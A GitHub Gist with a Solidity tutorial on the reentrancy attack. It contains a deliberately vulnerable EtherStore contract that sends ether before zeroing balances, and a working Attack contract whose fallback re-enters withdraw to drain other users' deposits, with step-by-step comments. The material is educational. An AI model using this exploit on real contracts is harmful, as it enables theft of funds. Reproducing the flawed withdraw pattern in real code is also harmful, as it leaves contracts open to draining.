Created
August 8, 2022 23:20
-
-
Save vdparikh/49fe87411aeeb677342caa5d14a2974b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.13; | |
/* | |
EtherStore is a contract where you can deposit and withdraw ETH. | |
This contract is vulnerable to re-entrancy attack. | |
Let's see why. | |
1. Deploy EtherStore | |
2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore | |
3. Deploy Attack with address of EtherStore | |
4. Call Attack.attack sending 1 ether (using Account 3 (Eve)). | |
You will get 3 Ethers back (2 Ether stolen from Alice and Bob, | |
plus 1 Ether sent from this contract). | |
What happened? | |
Attack was able to call EtherStore.withdraw multiple times before | |
EtherStore.withdraw finished executing. | |
Here is how the functions were called | |
- Attack.attack | |
- EtherStore.deposit | |
- EtherStore.withdraw | |
- Attack fallback (receives 1 Ether) | |
- EtherStore.withdraw | |
- Attack.fallback (receives 1 Ether) | |
- EtherStore.withdraw | |
- Attack fallback (receives 1 Ether) | |
*/ | |
contract Attack { | |
EtherStore public etherStore; | |
constructor(address _etherStoreAddress) { | |
etherStore = EtherStore(_etherStoreAddress); | |
} | |
// fallback is called when etherstore sends ether to this contract | |
fallback() external payable { | |
if (address(etherStore).balance >= 1 ether) { | |
etherStore.withdraw(); | |
} | |
} | |
function attack() external payable { | |
require(msg.value >= 1 ether); | |
etherStore.deposit{value: 1 ether}(); | |
etherStore.withdraw(); | |
msg.sender.call{value: address(this).balance}(''); | |
} | |
function getBalance() public view returns (uint) { | |
return address(this).balance; | |
} | |
} | |
contract EtherStore { | |
mapping(address => uint) public balances; | |
function deposit() public payable { | |
balances[msg.sender] += msg.value; | |
} | |
function withdraw() public { | |
uint bal = balances[msg.sender]; | |
require(bal > 0); | |
(bool sent, ) = msg.sender.call{value: bal}(""); | |
require(sent, "Failed to send Ether"); | |
balances[msg.sender] = 0; | |
} | |
// Helper function to check the balance of this contract | |
function getBalance() public view returns (uint) { | |
return address(this).balance; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment